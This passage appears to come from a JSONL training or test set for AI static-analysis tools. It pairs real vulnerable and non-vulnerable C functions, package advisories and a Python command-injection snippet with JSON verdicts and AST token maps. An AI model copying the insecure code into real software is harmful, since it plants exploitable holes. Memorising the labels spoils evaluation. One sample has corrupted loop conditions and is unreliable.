(!buf)\n\t\t\treturn -ENOMEM;\n\n\t\tget_random_bytes(buf, slen);\n \t\tseed = buf;\n \t}\n \n\terr = tfm->seed(tfm, seed, slen);\n \n \tkfree(buf);\n \treturn err;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-476\",\n \"cwe_name\": \"NULL Pointer Dereference\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2017-15116\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 15\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 1\n },\n {\n \"token\": \"crypto_rng_reset\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 21\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 22\n },\n {\n \"token\": \"crypto_rng\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 29\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 40\n },\n {\n \"token\": \"tfm\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 41\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 44\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 1,\n \"col\": 46\n },\n {\n \"token\": \"u8\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 52\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 55\n },\n {\n \"token\": \"seed\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 56\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 60\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 1,\n \"col\": 62\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 71\n },\n {\n \"token\": \"slen\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 75\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 79\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"u8\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 2\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 5\n },\n {\n \"token\": \"buf\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 6\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 10\n },\n {\n \"token\": \"NULL\",\n \"ast_node\": \"NULL\",\n \"line\": 3,\n \"col\": 12\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"err\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 5\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 8\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 6,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 4\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 6,\n \"col\": 5\n },\n {\n \"token\": \"seed\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 6\n },\n {\n \"token\": \"&&\",\n \"ast_node\": \"&&\",\n \"line\": 6,\n \"col\": 11\n },\n {\n \"token\": \"slen\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 14\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 18\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 6,\n \"col\": 20\n },\n {\n \"token\": \"buf\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 2\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 7,\n \"col\": 6\n },\n {\n \"token\": \"kmalloc\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 15\n },\n {\n \"token\": \"slen\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 16\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 7,\n \"col\": 20\n },\n {\n \"token\": \"GFP_KERNEL\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 22\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 32\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 33\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 8,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 5\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 8,\n \"col\": 6\n },\n {\n \"token\": \"buf\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 7\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 10\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 9,\n \"col\": 3\n },\n {\n \"token\": \"-\",\n \"ast_node\": \"-\",\n \"line\": 9,\n \"col\": 10\n },\n {\n \"token\": \"ENOMEM\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 11\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 17\n },\n {\n \"token\": \"get_random_bytes\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 18\n },\n {\n \"token\": \"buf\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 19\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 11,\n \"col\": 22\n },\n {\n \"token\": \"slen\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 24\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 11,\n \"col\": 28\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 11,\n \"col\": 29\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int bad_file_mmap(struct file *file, struct vm_area_struct *vma)\n{\n\treturn -EIO;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-189", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int jas_icclut16_input(jas_iccattrval_t *attrval, jas_stream_t *in,\n int cnt)\n{\n\tint i;\n\tint j;\n\tint clutsize;\n\tjas_icclut16_t *lut16 = &attrval->data.lut16;\n\tlut16->clut = 0;\n\tlut16->intabs = 0;\n\tlut16->intabsbuf = 0;\n\tlut16->outtabs = 0;\n\tlut16->outtabsbuf = 0;\n\tif (jas_iccgetuint8(in, &lut16->numinchans) ||\n\t jas_iccgetuint8(in, &lut16->numoutchans) ||\n\t jas_iccgetuint8(in, &lut16->clutlen) ||\n\t jas_stream_getc(in) == EOF)\n\t\tgoto error;\n\tfor (i = 0; i < 3; ++i) {\n\t\tfor (j = 0; j < 3; ++j) {\n\t\t\tif (jas_iccgetsint32(in, &lut16->e[i][j]))\n\t\t\t\tgoto error;\n\t\t}\n\t}\n\tif (jas_iccgetuint16(in, &lut16->numintabents) ||\n\t jas_iccgetuint16(in, &lut16->numouttabents))\n\t\tgoto error;\n\tclutsize = jas_iccpowi(lut16->clutlen, lut16->numinchans) * lut16->numoutchans;\n\tif (!(lut16->clut = jas_malloc(clutsize * sizeof(jas_iccuint16_t))) ||\n\t !(lut16->intabsbuf = jas_malloc(lut16->numinchans *\n\t lut16->numintabents * sizeof(jas_iccuint16_t))) ||\n\t !(lut16->intabs = jas_malloc(lut16->numinchans *\n\t sizeof(jas_iccuint16_t *))))\n\t\tgoto error;\n\tfor (i = 0; i < lut16->numinchans; ++i)\n\t\tlut16->intabs[i] = &lut16->intabsbuf[i * lut16->numintabents];\n\tif (!(lut16->outtabsbuf = jas_malloc(lut16->numoutchans *\n\t lut16->numouttabents * sizeof(jas_iccuint16_t))) ||\n\t !(lut16->outtabs = jas_malloc(lut16->numoutchans *\n\t sizeof(jas_iccuint16_t *))))\n\t\tgoto error;\n\tfor (i = 0; i < lut16->numoutchans; ++i)\n\t\tlut16->outtabs[i] = &lut16->outtabsbuf[i * lut16->numouttabents];\n\tfor (i = 0; i < lut16->numinchans; ++i) {\n\t\tfor (j = 0; j < JAS_CAST(int, lut16->numintabents); ++j) {\n\t\t\tif (jas_iccgetuint16(in, &lut16->intabs[i][j]))\n\t\t\t\tgoto error;\n\t\t}\n\t}\n\tfor (i = 0; i < lut16->numoutchans; ++i) {\n\t\tfor (j = 0; j < JAS_CAST(int, lut16->numouttabents); ++j) {\n\t\t\tif (jas_iccgetuint16(in, &lut16->outtabs[i][j]))\n\t\t\t\tgoto error;\n\t\t}\n\t}\n\tfor (i = 0; i < clutsize; ++i) {\n\t\tif (jas_iccgetuint16(in, &lut16->clut[i]))\n\t\t\tgoto error;\n\t}\n\tif (JAS_CAST(int, 44 + 2 * (lut16->numinchans * lut16->numintabents +\n lut16->numoutchans * lut16->numouttabents +\n jas_iccpowi(lut16->clutlen, lut16->numinchans) *\n\t lut16->numoutchans)) != cnt)\n\t\tgoto error;\n\treturn 0;\nerror:\n\tjas_icclut16_destroy(attrval);\n\treturn -1;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-189\",\n \"cwe_name\": \"Numeric Errors\",\n \"severity\": \"high\",\n \"project\": \"jasper\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "void kernel_shutdown_prepare(enum system_states state)\n{\n\tblocking_notifier_call_chain(&reboot_notifier_list,\n\t\t(state == SYSTEM_HALT)?SYS_HALT:SYS_POWER_OFF, NULL);\n\tsystem_state = state;\n\tdevice_shutdown();\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: excel-mcp-server\nInstalled version: <0.1.8\nSummary: excel-mcp-server has a Path Traversal issue", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2026-331\",\n \"cve\": \"CVE-2026-40576\",\n \"aliases\": [\n \"CVE-2026-40576\",\n \"GHSA-j98m-w3xp-9f56\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"excel-mcp-server\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <0.1.8\",\n \"fixed_version\": \"0.1.8\",\n \"finding\": \"excel-mcp-server has a Path Traversal issue\",\n \"remediation\": \"Upgrade excel-mcp-server to 0.1.8 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-399", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": " struct sctp_chunk *sctp_process_asconf(struct sctp_association *asoc,\n \t\t\t\t struct sctp_chunk *asconf)\n {\n \tsctp_addiphdr_t\t\t*hdr;\n \tunion sctp_addr_param\t*addr_param;\n \tsctp_addip_param_t\t*asconf_param;\n \tstruct sctp_chunk\t*asconf_ack;\n \t__be16\terr_code;\n \tint\tlength = 0;\n \tint\tchunk_len;\n \t__u32\tserial;\n\tint\tall_param_pass = 1;\n \n \tchunk_len = ntohs(asconf->chunk_hdr->length) - sizeof(sctp_chunkhdr_t);\n \thdr = (sctp_addiphdr_t *)asconf->skb->data;\n\tserial = ntohl(hdr->serial);\n\n\t/* Skip the addiphdr and store a pointer to address parameter. */\n\tlength = sizeof(sctp_addiphdr_t);\n\taddr_param = (union sctp_addr_param *)(asconf->skb->data + length);\n\tchunk_len -= length;\n\n\t/* Skip the address parameter and store a pointer to the first\n\t * asconf parameter.\n\t */\n\tlength = ntohs(addr_param->p.length);\n\tasconf_param = (void *)addr_param + length;\n\tchunk_len -= length;\n\n\t/* create an ASCONF_ACK chunk.\n\t * Based on the definitions of parameters, we know that the size of\n\t * ASCONF_ACK parameters are less than or equal to the fourfold of ASCONF\n\t * parameters.\n\t */\n\tasconf_ack = sctp_make_asconf_ack(asoc, serial, chunk_len * 4);\n\tif (!asconf_ack)\n \t\tgoto done;\n \n \t/* Process the TLVs contained within the ASCONF chunk. */\n\twhile (chunk_len > 0) {\n \t\terr_code = sctp_process_asconf_param(asoc, asconf,\n\t\t\t\t\t\t asconf_param);\n \t\t/* ADDIP 4.1 A7)\n \t\t * If an error response is received for a TLV parameter,\n \t\t * all TLVs with no response before the failed TLV are\n \t\t * considered successful if not reported. All TLVs after\n \t\t * the failed response are considered unsuccessful unless\n \t\t * a specific success indication is present for the parameter.\n \t\t */\n\t\tif (SCTP_ERROR_NO_ERROR != err_code)\n\t\t\tall_param_pass = 0;\n \t\tif (!all_param_pass)\n\t\t\tsctp_add_asconf_response(asconf_ack,\n\t\t\t\t\t\t asconf_param->crr_id, err_code,\n\t\t\t\t\t\t asconf_param);\n \n \t\t/* ADDIP 4.3 D11) When an endpoint receiving an ASCONF to add\n \t\t * an IP address sends an 'Out of Resource' in its response, it\n \t\t * MUST also fail any subsequent add or delete requests bundled\n \t\t * in the ASCONF.\n \t\t */\n\t\tif (SCTP_ERROR_RSRC_LOW == err_code)\n \t\t\tgoto done;\n\t\t/* Move to the next ASCONF param. */\n\t\tlength = ntohs(asconf_param->param_hdr.length);\n\t\tasconf_param = (void *)asconf_param + length;\n\t\tchunk_len -= length;\n \t}\n done:\n \tasoc->peer.addip_serial++;\n \n\t/* If we are sending a new ASCONF_ACK hold a reference to it in assoc\n\t * after freeing the reference to old asconf ack if any.\n\t */\n\tif (asconf_ack) {\n\t\tsctp_chunk_hold(asconf_ack);\n\t\tlist_add_tail(&asconf_ack->transmitted_list,\n\t\t\t &asoc->asconf_ack_list);\n\t}\n\n\treturn asconf_ack;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-399\",\n \"cwe_name\": \"Resource Management Errors\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2014-3673\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 12,\n 40,\n 42,\n 50,\n 51,\n 53,\n 54,\n 55,\n 62,\n 64,\n 65,\n 66,\n 67\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 1\n },\n {\n \"token\": \"sctp_chunk\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 19\n },\n {\n \"token\": \"sctp_process_asconf\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 20\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 39\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 40\n },\n {\n \"token\": \"sctp_association\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 47\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 64\n },\n {\n \"token\": \"asoc\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 65\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 69\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 2,\n \"col\": 12\n },\n {\n \"token\": \"sctp_chunk\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 19\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 30\n },\n {\n \"token\": \"asconf\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 31\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 37\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"sctp_addiphdr_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 2\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 19\n },\n {\n \"token\": \"hdr\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 23\n },\n {\n \"token\": \"union\",\n \"ast_node\": \"union\",\n \"line\": 5,\n \"col\": 2\n },\n {\n \"token\": \"sctp_addr_param\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 24\n },\n {\n \"token\": \"addr_param\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 25\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 35\n },\n {\n \"token\": \"sctp_addip_param_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 6,\n \"col\": 2\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 6,\n \"col\": 21\n },\n {\n \"token\": \"asconf_param\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 22\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 34\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 7,\n \"col\": 2\n },\n {\n \"token\": \"sctp_chunk\",\n \"ast_node\": \"type_identifier\",\n \"line\": 7,\n \"col\": 9\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 7,\n \"col\": 20\n },\n {\n \"token\": \"asconf_ack\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 21\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 31\n },\n {\n \"token\": \"__be16\",\n \"ast_node\": \"type_identifier\",\n \"line\": 8,\n \"col\": 2\n },\n {\n \"token\": \"err_code\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 9\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 17\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 9,\n \"col\": 2\n },\n {\n \"token\": \"length\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 6\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 9,\n \"col\": 13\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 9,\n \"col\": 15\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 16\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 10,\n \"col\": 2\n },\n {\n \"token\": \"chunk_len\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 6\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 15\n },\n {\n \"token\": \"__u32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 11,\n \"col\": 2\n },\n {\n \"token\": \"serial\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 8\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 11,\n \"col\": 14\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 12,\n \"col\": 1\n },\n {\n \"token\": \"all_param_pass\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 5\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 12,\n \"col\": 20\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 12,\n \"col\": 22\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 12,\n \"col\": 23\n },\n {\n \"token\": \"chunk_len\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 2\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 14,\n \"col\": 12\n },\n {\n \"token\": \"ntohs\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 14\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 14,\n \"col\": 19\n },\n {\n \"token\": \"asconf\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 20\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 14,\n \"col\": 26\n },\n {\n \"token\": \"chunk_hdr\",\n \"ast_node\": \"field_identifier\",\n \"line\": 14,\n \"col\": 28\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int bad_inode_setattr(struct dentry *direntry, struct iattr *attrs)\n{\n\treturn -EIO;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static void sig_server_reconnect_save_status(IRC_SERVER_CONNECT_REC *conn,\n\t\t\t\t\t IRC_SERVER_REC *server)\n{\n\tif (!IS_IRC_SERVER_CONNECT(conn) || !IS_IRC_SERVER(server) ||\n\t !server->connected)\n\t\treturn;\n\n\tg_free_not_null(conn->channels);\n\tconn->channels = irc_server_get_channels(server);\n\n\tg_free_not_null(conn->usermode);\n\tconn->usermode = g_strdup(server->wanted_usermode);\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"irssi\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static void negate_target_image(struct iw_context *ctx)\n{\n\tint channel;\n\tstruct iw_channelinfo_out *ci;\n\tint i,j;\n\tsize_t pos;\n\tiw_float32 s;\n\tunsigned int n;\n\n\tfor(channel=0; channelimg2_numchannels; channel++) {\n\t\tci = &ctx->img2_ci[channel];\n\t\tif(ci->channeltype == IW_CHANNELTYPE_ALPHA) continue; // Don't negate alpha channels\n\n\t\tif(ctx->img2.sampletype==IW_SAMPLETYPE_FLOATINGPOINT) {\n\t\t\tfor(j=0; jimg2.height; j++) {\n\t\t\t\tfor(i=0; iimg2.width; i++) {\n\t\t\t\t\tpos = j*ctx->img2.bpr + ctx->img2_numchannels*i*4 + channel*4;\n\t\t\t\t\ts = iw_get_float32(&ctx->img2.pixels[pos]);\n\t\t\t\t\tiw_put_float32(&ctx->img2.pixels[pos], ((iw_float32)1.0)-s);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse if(ctx->img2.bit_depth==8) {\n\t\t\tfor(j=0; jimg2.height; j++) {\n\t\t\t\tfor(i=0; iimg2.width; i++) {\n\t\t\t\t\tpos = j*ctx->img2.bpr + ctx->img2_numchannels*i + channel;\n\t\t\t\t\tctx->img2.pixels[pos] = ci->maxcolorcode_int-ctx->img2.pixels[pos];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse if(ctx->img2.bit_depth==16) {\n\t\t\tfor(j=0; jimg2.height; j++) {\n\t\t\t\tfor(i=0; iimg2.width; i++) {\n\t\t\t\t\tpos = j*ctx->img2.bpr + ctx->img2_numchannels*i*2 + channel*2;\n\t\t\t\t\tn = ctx->img2.pixels[pos]*256 + ctx->img2.pixels[pos+1];\n\t\t\t\t\tn = ci->maxcolorcode_int - n;\n\t\t\t\t\tctx->img2.pixels[pos] = (n&0xff00)>>8;\n\t\t\t\t\tctx->img2.pixels[pos+1] = n&0x00ff;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"imageworsener\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-502", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.clojure:clojure\nInstalled version: 1.7.0\nSummary: Reading specially crafted serializable objects from an untrusted source may cause an infinite loop and denial of service", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-vr64-r9qj-h27f\",\n \"cve\": \"CVE-2024-22871\",\n \"aliases\": [\n \"CVE-2024-22871\"\n ],\n \"cwe\": \"CWE-502\",\n \"ecosystem\": \"Maven\",\n \"package\": \"org.clojure:clojure\",\n \"severity\": \"high\",\n \"affected_versions\": \">=1.7.0, <1.11.2\",\n \"fixed_version\": \"1.11.2\",\n \"finding\": \"Reading specially crafted serializable objects from an untrusted source may cause an infinite loop and denial of service\",\n \"remediation\": \"Upgrade org.clojure:clojure to 1.11.2 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "python", "cwe": "CWE-78", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Analyze this python snippet at the AST level. Find the data-flow sink that introduces a vulnerability, map the tainted tokens to their AST node types, and return the detection result as JSON.", "input": "import subprocess\ndef convert():\n raw = request.args.get('url')\n subprocess.call('convert ' + raw + ' out.png', shell=True)\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-78\",\n \"cwe_name\": \"OS Command Injection\",\n \"title\": \"Command injection via subprocess shell=True\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 4\n ],\n \"sink_node_type\": \"call\",\n \"ast_path\": [\n \"module\",\n \"function_definition\",\n \"block\",\n \"expression_statement\",\n \"call\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"subprocess\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 4\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 14\n },\n {\n \"token\": \"call\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 15\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 19\n },\n {\n \"token\": \"'\",\n 